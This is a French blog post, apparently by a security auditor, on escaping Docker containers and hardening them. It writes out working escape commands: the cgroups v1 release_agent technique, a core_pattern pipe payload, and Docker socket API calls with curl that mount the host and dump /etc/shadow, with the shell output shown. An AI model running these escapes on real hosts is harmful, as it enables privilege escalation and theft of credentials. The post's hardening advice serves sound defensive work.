Aujourd’hui, à l’ère du cloud native, les microservices sont incontournables dans les systèmes. Ils permettent de casser l’approche monolitique, optimiser les ressources et améliorer la robustesse des applications. Les microservices permettent l’ajout de fonctions sans impacter entièrement l’application. Des composants comme les conteneurs permettent de supporter ces microservices. En outre, le déploiement des applications est aussi simplifié. Mais dans ces nouveautés, on oublie souvent un aspect important, la sécurité !
Êtes-vous prêts à découvir les faiblesses des conteneurs ? Mais aussi, les mesures de sécurité qui peuvent être mis en place pour diminuer le risque d’une compromission ?
Pour illustrer mes propros, j’utiliserai Docker. Sachez que la plupart des attaques peuvent être reproduites sur d’autres technos comme containerd, CRI-O, etc…
Un faux sentiment de sécurité
Il existe des idées reçues selon lesquelles le niveau de cloisonnement que propose la conteneurisation est équivalent à la virtualisation.
Un conteneur est un processus ou un ensemble de processus « isolés » du système. Ils partagent le même noyau que le système hôte contrairement à la virtualisation où la machine virtuelle dispose de ses propres ressources et son propre noyau.
Nous verrons que les conteneurs ne sont pas si isolés car ils dépendent du noyau. Je vous présente quelques techniques pour éléver vos privilèges et sortir de la « cage » du conteneur lorsque nos amis admins ont de mauvaises idées.
Echappement de conteneurs privilégiés
docker run -d -it --privileged --security-opt "seccomp=unconfined" nginx:latest
Un conteneur avec le flag « –privileged » dispose de toutes les capabilities. Si la fonctionnalité de remapping du namespace utilisateur est désactivée, on considère qu’être root sur le conteneur est équivalent à être root sur l’hôte. Dans le cas où un attaquant s’échappe du conteneur il disposera de tous les privilèges sur l’hôte.
Echappement par cgroups
Les cgroups sont une fonctionnalité du noyau qui permettent de limiter les ressources systèmes des conteneurs. Cependant, dans la version 1 des cgroups, il existe un fichier appelé « release_agent » qui définit les commandes à exécuter lorsque tous les processus d’un cgroup sont terminés. Les commandes sont exécutées en tant que root avec tous les privilèges dans le namespace parent.
Le POC de Felix Wilhelm permet d’exploiter ce fameux fichier. Par ailleurs, nous pouvons aussi monter un cgroup controller en lecture écriture et créé un cgroup enfant dans lequel on éditera notre fichier magique. Cette technique nécessite juste CAP_SYS_ADMIN.
mkdir /tmp/cgrp mount -t cgroup -o memory cgroup /tmp/cgrp mkdir /tmp/cgrp/x echo 1 > /tmp/cgrp/x/notify_on_release host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` echo "$host_path/cmd" > /tmp/cgrp/release_agent echo '#!/bin/sh' > /cmdecho "cat /etc/shadow > $host_path/output" >> /cmdchmod a+x /cmdsh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"; sleep 5cat /outputroot@73d4fe96c7b0:/# ./cgroupsv1-attack.sh root:$6$RmCz0Llhzndk0Wcv$WdHBeuyWdhNZfBVY4vyhAQNXt7JVPdmEXN6Ol4cSdCD1lJX/ZCU9bq/B/Y.u5HYOKHJHE8aBaH7a4IPD3vWIY/:19354:0:90:7:::bin:x:18959:0:90:7:::daemon:x:18959:0:90:7:::messagebus:x:18959:0:90:7:::systemd-bus-proxy:x:18959:0:90:7:::systemd-journal-gateway:x:18959:0:90:7:::systemd-journal-remote:x:18959:0:90:7:::systemd-journal-upload:x:18959:0:90:7:::systemd-network:x:18959:0:90:7:::systemd-resolve:x:18959:0:90:7:::systemd-timesync:x:18959:0:90:7:::nobody:x:18959:0:90:7:::sshd:!:18959:0:90:7:::
Echappement par points de montage sensibles
L’exposition du répertoire /proc est particulièrement dangereux lorsque celui-ci est accessible en écriture dans le conteneur. Par exemple, le fichier /proc/sys/kernel/core_pattern est utilisé comme template pour définir le nommage des fichiers core dump. Cependant, si le premier caractère dans le fichier est le symbole pipe « | », le noyau interprétera le reste du pattern comme une commande à exécuter.
Dans cet exemple, le conteneur a les droits d’écriture dans le fichier core_pattern. Eh bien, amusons nous les amis !
Nous allons utiliser le fameux pipe en premier caractère et lui donner le chemin vers notre script « payload.sh ». Etant donné que nous sommes dans un conteneur, pour que le noyau retrouve le script il faut lui donner l’overlay. Ensuite, nous provoquons un core dump qui invoquera le script avec un haut niveau de privilèges.
root@73d4fe96c7b0:/# lsbin boot cmd dev docker-entrypoint.d docker-entrypoint.sh etc home lib lib64 media mnt opt payload.sh proc root run sbin srv sys tmp usr varroot@73d4fe96c7b0:/# cat payload.shcat /etc/shadow > /var/lib/docker/overlay2/efcc985f83920b163e55928c4947d57cf1fa1c5e4c71c2b2fd6f85ddda0b6947/diff/outputcat /etc/hostname >> /var/lib/docker/overlay2/efcc985f83920b163e55928c4947d57cf1fa1c5e4c71c2b2fd6f85ddda0b6947/diff/outputroot@73d4fe96c7b0:/# echo "|/var/lib/docker/overlay2/efcc985f83920b163e55928c4947d57cf1fa1c5e4c71c2b2fd6f85ddda0b6947/diff/payload.sh" > /proc/sys/kernel/core_patternroot@73d4fe96c7b0:/#root@73d4fe96c7b0:/# tail -f /dev/null &[1] 542root@73d4fe96c7b0:/# kill -SIGSEGV 542root@73d4fe96c7b0:/#[1]+ Segmentation fault (core dumped) tail -f /dev/nullroot@73d4fe96c7b0:/#root@73d4fe96c7b0:/# cat outputroot:$6$RmCz0Llhzndk0Wcv$WdHBeuyWdhNZfBVY4vyhAQNXt7JVPdmEXN6Ol4cSdCD1lJX/ZCU9bq/B/Y.u5HYOKHJHE8aBaH7a4IPD3vWIY/:19354:0:90:7:::bin:x:18959:0:90:7:::daemon:x:18959:0:90:7:::messagebus:x:18959:0:90:7:::systemd-bus-proxy:x:18959:0:90:7:::systemd-journal-gateway:x:18959:0:90:7:::systemd-journal-remote:x:18959:0:90:7:::systemd-journal-upload:x:18959:0:90:7:::systemd-network:x:18959:0:90:7:::systemd-resolve:x:18959:0:90:7:::systemd-timesync:x:18959:0:90:7:::nobody:x:18959:0:90:7:::sshd:!:18959:0:90:7:::photon-5da25795e3ed
Echappement de conteneur par socket
root@photon-5da25795e3ed [ ~ ]# docker run -d -it \ -v /var/run/docker.sock:/var/run/docker.sock nginx:latest
Monter le socket Docker dans un conteneur en tant que volume est une mauvaise idée car il est possible de communiquer avec l’API en HTTP. L’API ne dispose pas de mécanismes d’authentification et d’autorisation d’utilisateurs, l’accès à celle-ci est défini seulement par des permissions Linux. Cette pratique est souvent utilisée pour faire de l’administration depuis un conteneur ou encore monitorer les autres conteneurs.
Pour effectuer une attaque dans un conteneur comme celui-ci, il est possible d’utiliser un binaire docker qu’on aura télécharger depuis le conteneur et utiliser la commande en exemple :
root@photon-5da25795e3ed [ ~ ]# docker -H /app/sockets/docker.sock run \ malicious_container
Dans le cas où le chemin de la socket Unix se trouve à /var/run/docker.sock, on peut utiliser la commande docker directement sans l’option -H car c’est le chemin par défaut utilisé pour communiquer. Par ailleurs, dans le cas où un orchestrateur tel que Kubernetes est utilisé, la création du conteneur malveillant ne sera jamais vu depuis l’orchestrateur. En effet, il existe des centaines de conteneurs sur un cluster Kubernetes donc trouver un conteneur qui n’a pas été instancié par l’orchestrateur avec un pod peut s’avérer complexe.
De mon côté, je privilégie plutôt l’API car je n’avais pas toujours la possibiité de ramener mon binaire et je n’avais que curl à ma disposition. Ici, c’est un exemple où un volume est monté à la racine de l’hôte et au démarrage du conteneur celui-ci va exécuter la commande « cat /host/etc/shadow ». Ensuite, dans les logs du conteneur, il sera possible de consulter la sortie de la commande.
Vous noterez que le conteneur malveillant n’est pas persistant. Il est possible de remplacer la commande par « sleep infinity » ou un reverse shell. Dans le cas de « sleep infinity », il faudra créer un exec et le démarrer pour exécuter la commande que vous souhaitez au sein du conteneur.
La documentation de l’API est d’une grande aide pour customiser les attaques selon mes besoins. Vous pouvez la retrouver ici :
Docker Engine API v1.41 Reference
!/bin/bashcurl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock \-d '{"Image":"nginx:latest","Cmd":["cat", "/host/etc/shadow"],"Mounts":[{"Type":"bind","Source":"/","Target":"/host"}]}' "http://localhost/containers/create?name=malicious-ctr"curl -XPOST \--unix-socket /var/run/docker.sock "http://localhost/containers/malicious-ctr/start"curl --output - \--unix-socket /var/run/docker.sock "http://localhost/containers/malicious-ctr/logs?stdout=true"
Ces attaques montrent que des mauvaises configurations peuvent mener à la compromission totale du système. Les anciennes versions qui garantissent une certaine rétro compatibilité peuvent introduire des vulnérabilités. Il existe une multitude d’autres attaques qui permettent d’obtenir des résultats similaires y compris les attaques du noyau et du daemon Docker.
L’usage des conteneurs pour la sécurité des architectures multi-tenant n’est pas judicieux. La mutualisation de services de sensibilité différentes sur un même hôte peut amener des risques. Il existe des mécanismes de sécurité pour limiter l’impact d’une compromission, mais celle-ci peuvent s’avérer complexe à mettre en oeuvre dans des architectures à grande échelle.
Exemples de vulnérabilités pouvant viser le daemon Docker et le noyau directement.
Vulnérabilités Docker
CVE-2019-15664
Vulnérabilités noyau
CVE 2022-0492
Comment durcir ses conteneurs ?
Maintenant que nous savons que le cloisonnement proposé n’est pas totalement fiable, comment peut-on améliorer la sécurité de nos conteneurs pour rendre la tâche le plus difficile possible à un attaquant ?
Patch, patch, patch, update, update… Et oui ! La première action est de maintenir son noyau et son container runtime à jour. Pour finir, voici quelques actions qui embêtent pas mal les auditeurs :)
- Quelque soit le container runtime, il faut privilégier les cgroups v2. Par défaut, dans les versions supérieures à 20.x, Docker via runC utilise les cgroups v2 qui ne permettent plus l’exploitation du fichier « release_agent » utilisé dans les cgroups v1.
- Il est important d’exécuter les conteneurs avec un utilisateur non privilégié pour limiter les actions, mais aussi supprimer les capabilities inutiles qui peuvent donner lieu à une escalade de privilèges vers l’hôte. Les capabilities comme CAP_SYS_ADMIN, CAP_SYS_PTRACE, CAP_DAC_READ_SEARCH, CAP_DAC_OVERRIDE, etc… sont dangereuses. Par ailleurs, Docker dispose d’une fonction nommée « usersns-remap » qui permet de remaper l’utilisateur d’un conteneur à un utilisateur (de préférence non privilégié) de l’hôte.
https://docs.docker.com/engine/security/userns-remap/ - Toujours dans un contexte de protection contre les élévations de privilèges, il existe le flag –no-new-privs. Ce flag empêchera tout processus de réaliser une élévation de privilèges en utilisant des binaires SUID.
- Les attaques au sein des conteneurs utilisent souvent les permissions trop légères des différents composants sur le système de fichiers. Dans une optique de défense en profondeur, il est intéressant d’utiliser un système de fichiers en lecture seule pour rendre le conteneur immutable. Pour activer cette option, il faut utiliser le flag « –read-only ». Néanmoins, il faut garder en tête qu’il est toujours possible d’effectuer des attaques en exécutant des actions en mémoire (in memory execution/fileless). Ce type d’attaque nécessite tout de même que les syscalls soient insuffisament filtrés. Vous trouverez des détails ici : https://github.com/arget13/DDexec
- Comme dit précédemment, les syscalls permettent d’effectuer des actions dans le conteneur s’ils ne sont pas suffisament filtrés. Seccomp répond à cette problématique en refusant les syscalls qui ne sont pas dans sa liste.
https://docs.docker.com/engine/security/seccomp/ - Des mécanismes comme le contrôle d’accès obligatoire ou Mandotary Access Control existent. SELinux est une technologie qui permettra d’étiquetter les processus au sein du noyau. Ainsi, un confinement des processus est réalisé et limite celui-ci aux strictes ressources nécessaires. Par exemple, après une compromission, un processus A ne pourra pas baver sur un processus B car ils n’ont pas le même contexte de sécurité SELinux grâce aux étiquettes.
Vous l’aurez compris, je parle de durcissement mais il existe des mauvaises pratiques citées dans les attaques vues précédemment qui doivent être absolument évitées dans la mesure du possible. Je pense notamment à l’utilisation du flag « –privileged » ou encore l’exposition de la socket du container runtime au sein du conteneur.
Conclusion
La conteneurisation est une technologie géniale pour la perf et l’automatisation des déploiements via des fichiers .yaml notamment avec docker-compose. Néanmoins, n’oubliez pas que le cloisonnement est bien inférieur à celui de la virtualisation. Sécuriser quelques conteneurs est assez simple mais on ne verra quasi jamais une telle architecture, c’est à ce moment précis qu’intervient l’orchestration. La sécurisation d’une architecture ayant plusieurs conteneurs dans un cluster de serveurs est très lourde et complexe à réaliser, il y a un nombre d’éléments importants à durcir. Il existe des projets intéressants qui émergent comme kata-containers (micro VM) pour répondre aux problématiques de sécurité, je vous invite à y jeter un coup d’oeil.

Laisser un commentaire